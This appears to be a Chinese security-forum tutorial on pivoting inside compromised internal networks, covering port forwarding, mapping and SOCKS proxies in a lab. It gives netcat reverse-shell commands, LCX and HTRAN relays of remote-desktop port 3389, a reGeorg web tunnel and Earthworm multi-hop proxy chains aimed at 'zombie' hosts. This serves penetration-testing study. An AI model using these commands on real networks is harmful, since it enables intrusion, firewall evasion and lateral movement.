内网渗透之端口转发、映射、代理
裁决 / 2019-09-18 09:22:14 / 浏览数 13714 渗透测试 渗透测试顶(7) 踩(0)
端口转发&端口映射
0x01 什么是端口转发
端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH)为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。
普通话:端口转发就是将一个端口,这个端口可以本机的端口也可以是本机可以访问到的任意主机的端口,转发到任意一台可以访问到的IP上,通常这个IP是公网ip
0x02 什么是端口映射
端口映射是NAT的一种,功能是把在公网的地址转翻译成私有地址,
采用路由方式的ADSL宽带路由器拥有一个动态或固定的公网IP,ADSL直接接在HUB或交换机上,所有的电脑共享上网。
普通话:就是映射端口,就是将一个内网端口映射到公网上的某个端口,假设我自己的电脑是在内网中,没有公网
IP,但是我想提供一个端口供其他人使用,这就是端口映射
0x03 区分端口映射和端口转发
端口映射场景:
外网主机A想访问内网主机B上的服务
端口转发场景:
外网主机A已经可以任意内网主机B上的端口,但是无法访问内网主机C上的端口
此时可以将C主机的端口到B主机的端口,那么外网主机A访问B主机的某某端口就相当于访问了C主机的某某
总结:
端口转发和端口映射原理是一样的只不过是应用场景不一样,假如我们将本机的端口转发到远程主机端口,我们可以叫端口映射,也可以叫端口转发,看下图【注意图上文字】
我们如果把本机可以访问到的任意 IP
的端口转发到另外一台服务器的端口,我们叫他端口转发,看下图【注意图上文字】
0x04 区分正向连接和反向连接
- 正向连接:你的机器连接目标机器
- 反向连接:目标机器反连你的机器
- 不论映射,还是转发,都有正有反,原理相同
0x05 端口转发和代理工具
- Lcx
- Htran
- Netcat
0x06 环境拓扑图
B 主机W7
C 主机XP
0x07 NC
NC 用法
2. NC反向连接-网络环境设想:
A外网 无法访问 内网B 【A为攻击者处于外网】
B内网 可以访问 外网A
A:192.168.0.226
B:192.168.32.130
适合nc反向连接:也就将内网主机B shell反弹到 外网A
在外网主机A上执行:nc –nvlp 7777
在内网主机B上执行:nc –e cmd 192.168.0.226 7777
3. NC正向连接-网络环境设想:
A内网 可以访问 外网B 【A为攻击者处于内网】
B外网 不能访问 内网A
适合nc正向连接:也就将内网主机A shell反弹到 外网B
在内网A 上执行 nc –l –p 5555 –e cmd .exe
在外网主机B上执行nc –nvv 192.168.0.226 5555
4. 阐述:
如果客户端【相当于内网】连接服务器【相当于外网】,想获取服务器的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想获取客户端的shell,那么称为反向shell
NC是安全的瑞士军刀,太出名了,不光能反弹shell,端口转发,还能聊天等等
0x08 LCX
LCX用法:
LCX端口映射环境设想:
A外网 无法访问 内网B 【A为攻击者处于外网】
B内网 可以访问 外网A
在内网主机B上执行:lcx.exe –slave 192.168.0.226 7777 192.168.32.132 3389
意思是:将内网 (192.168.32.132) 的 3389 端口转发到公网 (192.168.0.226) 的 7777
端口
在外网主机A上执行:lcx.exe –listen 7777 5555
意思是:监听主机上7777 端口 并转给5555
此时,在主机A连接远程桌面访问127.0.0.1:5555 就相当于访问了B的3389
LCX端口转发环境设想:
A外网 可以访问 B
B内网 可以访问 C
A不能访问 C
A主机ip:192.168.0.226
B 主机ip:192.168.32.130
C 主机ip:192.168.32.135
在内网主机B上执行:lcx.exe –tran 7777 192.168.32.135 3389
意思是:把C主机的3389端口转到B的7777端口上
此时访问B主机上的7777端口就相当于访问C主机上的3389
在A主机上运行mstsc连接192.168.32.130:7777或者B主机上127.0.0.1:7777就可以访问到C的3389
阐述
LCX多用于被空计算机(肉鸡)处于内网,黑客想使用远程终端进行管理的情况下,一般黑客会将肉鸡3389开启,之后通过LCX进行端口转发
0x09 HTRAN
HTRAN用法
HTRAN使用方法-环境设想一
B公网
A可直接访问B[并且B已经开启3389,B防火墙禁止3389连接]
B 也可以访问A
A主机ip:192.168.0.226
B 主机ip:192.168.32.130
C 主机ip:192.168.32.135
方法1:
在B主机上执行:Htran2.4.exe -p -tran 7777 127.0.0.1 3389
意思是:将B的3389转为本机的7777端口
此时A主机进行远程桌面终端连接:192.168.32.130:7777
方法2:
在A主机进行监听执行:HTran2.4.exe -p -listen 8888 9999
意思是:监听本机8888端口,并将8888端口流量转到9999
在B主机执行:HTran2.4.exe -p -slave 192.168.0.226 8888 127.0.0.1 3389
意思是:将本机的3389端口转发到A的8888端口
接下来在A主机上连接远程桌面访问本地的9999端口,即可连接到B的3389
HTRAN使用方法-环境设想二
B主机在公网
C在B的内网
A可以访问B,不可以访问C
A主机ip:192.168.0.226
B 主机ip:192.168.32.130
C 主机ip:192.168.32.135
方法1:
在B主机上执行:HTran2.4.exe -p -tran 8888 192.168.32.135 3389
意思是:将C主机的3389端口转发到B主机的8888
此时A连接B的8888就相当于访问C的3389
方法2:
在B主机上进行监听HTran2.4.exe -p -listen 7777 9999
意思是:监听B主机的7777端口,并将流量转发到9999
在C主机上执行:HTran2.4.exe -p -slave 192.168.32.130 7777 127.0.0.1 3389
意思是:将C的3389转到B的7777端口
代理
0x01 什么是代理
代理(英语:Proxy),也称网络代理,是一种特殊的网络服务,允许一个网络终端(一般为客户端)通过这个服务与另一个网络终端(一般为服务器)进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击
0x02 代理类别
HTTP代理
SOCKS代理
FTP代理
Telnet代理
SSL代理
0x03 区分正向代理和反向代理
正向代理中,proxy 和 client 同属一个 LAN,对 server 透明; 反向代理中,proxy 和
server 同属一个 LAN,对 client 透明,一个代理的是客户端,一个代理的是服务器
0x04 reGeorg+Proxychains 代理
reGeorg是reDuh的继承者。主要是把内网服务器的端口通过http/https隧道转发到本机
选择对应服务器脚本上传到B主机的服务器,我这里面是php
访问文件显示Georg says, 'All seems fine',代理成功
然后执行reGeorgSocksProxy.py文件【需要urllib3模块】:python2
reGeorgSocksProxy.py –u “http://192.168.32.130/tunnel.php” –p 8888
在命令行界面同样显示 All seems fine即可
接下来使用工具Proxifier
首先添加一个server
配置代理规则
这里选择选择远程桌面程序mstsc
连接远程桌面
可以看到通过代理走的流量
0x05 基于powershell的Socks4/5代理
使用的是Invoke-SocksProxy,地址:https://github.com/p3nt4/Invoke-SocksProxy
Invoke-SocksProxy用法
Invoke-SocksProxy使用方法一
Win10主机ip:192.168.192.130
Win7 主机 ip:192.168.192.129
建立一个sock4/5代理
在Win10上首先以管理员权限运行powershell,如果提示脚本禁止执行,请输入“set-ExecutionPolicy
RemoteSigned”即可
输入Import-Module .\Invoke-SocksProxy.psm1 导入模块
输入Invoke-SocksProxy -bindPort 1234 在端口1234上创建socks代理
接下来在Win7上使用socks代理软件,通过Win10的1234端口进行外网访问
这次我是用的软件是sockscap,当然Proxychains肯定也行
点击文件选择“设置”设置socks服务器IP和端口,点击应用,确定
Invoke-SocksProxy使用方法二
增加线程方式,输入Invoke-SocksProxy -bindPort 1234 -threads 400
如果不加-bindPort默认端口1080
0x06 Earthworm
EW 是一套便携式的网络穿透工具,具有 SOCKS
v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透
注:此工具已停止更新、下载
Earthworm用法
下图是一张示意图:
该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux
均被包括其内,更多平台的支持还在维护中,敬请期待。
使用方法:
以下所有样例,如无特殊说明代理端口均为1080,服务均为SOCKSv5代理服务.
该工具共有 6
种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
- 正向 SOCKS v5 服务器
\$ ./ew -s ssocksd -l 1080
- 反弹 SOCKS v5 服务器
这个操作具体分两步:
a) 先在一台具有公网 ip 的主机A上运行以下命令:
\$ ./ew -s rcsocks -l 1080 -e 8888
b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
\$ ./ew -s rssocks -d 1.1.1.1 -e 8888
成功。
- 多级级联
工具中自带的三条端口转发指令,它们的参数格式分别为:
\$ ./ew -s lcx_listen -l 1080 -e 8888
\$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
\$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。
首先提供两个“二级级联”本地SOCKS测试样例:
a) lcx_tran 的用法
\$ ./ew -s ssocksd -l 9999
\$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
b) lcx_listen、lcx_slave 的用法
\$ ./ew -s lcx_listen -l 1080 -e 8888
\$ ./ew -s ssocksd -l 9999
\$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
再提供一个“三级级联”的本地SOCKS测试用例以供参考
\$ ./ew -s rcsocks -l 1080 -e 8888
\$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
\$ ./ew -s lcx_listen -l 9999 -e 7777
\$ ./ew -s rssocks -d 127.0.0.1 -e 7777
数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
注: 以上内容来源参考自官网或者工具里面的Readme
Earthworm使用方法一【正向代理】
Win7 主机ip:192.168.192.1
Win7 主机 ip:192.168.192.9
目标网络边界存在公网IP且可任意开监听端口:
+---------+ +-------------------+
|HackTools| ->> | 7777-> 192.168.192.9 |
+---------+ +-------------------+
执行:ew_for_win_32.exe -s ssocksd -l 7777
意思是:在 w7 192.168.192. 9 主机上通过这个命令开启 7777 端口的 socks 代理
接下来可以使用sockscap或者
Proxychains等工具访问代理端口,因为之前提过用法我就不墨迹了,直接放演示截图
注:此属于正向代理,代理的是黑客客户端,连接的是肉鸡相当于服务器
Earthworm使用方法二【反向代理】
Win7 x32 主机ip:192.168.0.75 【hack机】
Win7 主机 ip:192.168.0.226 【公网机】
Win7 主机 ip:192.168.192.9 【内网机】
目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
192.168.192.9 一台可控公网IP主机 可控内网主机
+---------+ +--------------------------+ | +---------------+
|HackTools| ->> | 1089 ->192.168.0.226 -> 9999 | 防火墙 | \<--
192.168.0.75 |
+---------+ +--------------------------+ | +---------------+
在公网机【vps】上执行:ew_for_win_32.exe -s rcsocks -l 1089 -e 9999
意思是:在 192.168.0.226 的公网主机添加转接隧道,将 1089
收到的代理请求转交给反连 9999 端口的主机
在内网主机【可控肉鸡】上执行:ew_for_win_32.exe -s rssocks -d 192.168.0.226 -e
9999
意思是:将目标网络的可控内网主机反向连接公网主机
接下来可以用通过访问 sockscap或者 Proxychains等工具192.168.0.226:1089 端口使用
rssocks 主机提供的 socks5 代理服务
Earthworm使用方法三
Win7 主机ip:192.168.192.1 【hack机】
Win7 主机 ip:192.168.192.9 【A】
Win7 主机 ip:192.168.192.11 【B】
获得目标网络内两台主机 A、B 的权限,情况描述如下:
A 主机: 存在公网 IP,且*监听任意端口,无法访问特定资源
B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
A 主机可直连 B 主机
可控边界主机A 可访问指定资源的主机B
+---------+ +-----------------------+ +----------------
|HackTools| ->> | 1099 -->192.168.192.9 --> | ->> |7777 ->
192.168.192.11 |
+---------+ +-----------------------+ +-----------------+
在B主机上执行:ew_for_win_32.exe -s ssocksd -l 7777
意思是:在B主机上利用 ssocksd 方式启动 7777 端口的 socks 代理
在主机A上执行:ew_for_win_32.exe -s lcx_tran -l 1099 -f 192.168.192.11 -g 7777
/意思是将 1080 端口收到的 socks 代理请求转交给B主机的7777端口。
接下来可以用通过访问 sockscap或者 Proxychains等工具192.168.192.9:1099 端口使用
rssocks 主机提供的 socks5 代理服务
代理成功截图:
Earthworm使用方法四
Win7 主机ip:192.168.192.1 【hack机】
Win7 主机 ip:192.168.192.9 【A】
Win7 主机 ip:192.168.192.10 【公网机】
Win7 主机 ip:192.168.192.13 【B】
获得目标网络内两台主机 A、B 的权限,情况描述如下:
A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。
B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。
A 主机可直连 B 主机
- 在公网机上执行:ew_for_win_32.exe -s lcx_listen -l 1099 -e 8888
意思是:在 192.168.192.10 公网IP主机添加转接隧道,将 1080
收到的代理请求,转交给反连 8888 端口的主机
- 在主机B上执行:ew_for_win_32.exe -s ssocksd -l 9999
意思是:在 192.168.192.13 【B】主机上利用 ssocksd 方式启动 9999 端口的 socks
代理
- 在主机A上执行:ew_for_win_32.exe -s lcx_slave -d 192.168.192.10 -e 8888 -f
192.168.192.13 -g 9999
意思是:在 192.168.192.9 上,通过工具的 lcx_slave 方式,打通192.168.192.10:8888
和 192.168.192.13:9999 之间的通讯隧道
- HackTools 可通过访问192.168.192.10:1099 来使用 192.168.192.13 主机提供的
socks5 代理
成功截图:
B的
公网机的
A的
Hack机
注:红色正常我代理机B上不了外网
Earthworm总结
目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
ssocksd rcsocks rssocks
lcx_slave lcx_tran lcx_listen
其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks
提供,分别对应正向与反向socks代理。
其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
lcx 类别管道
lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
lcx_listen
该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。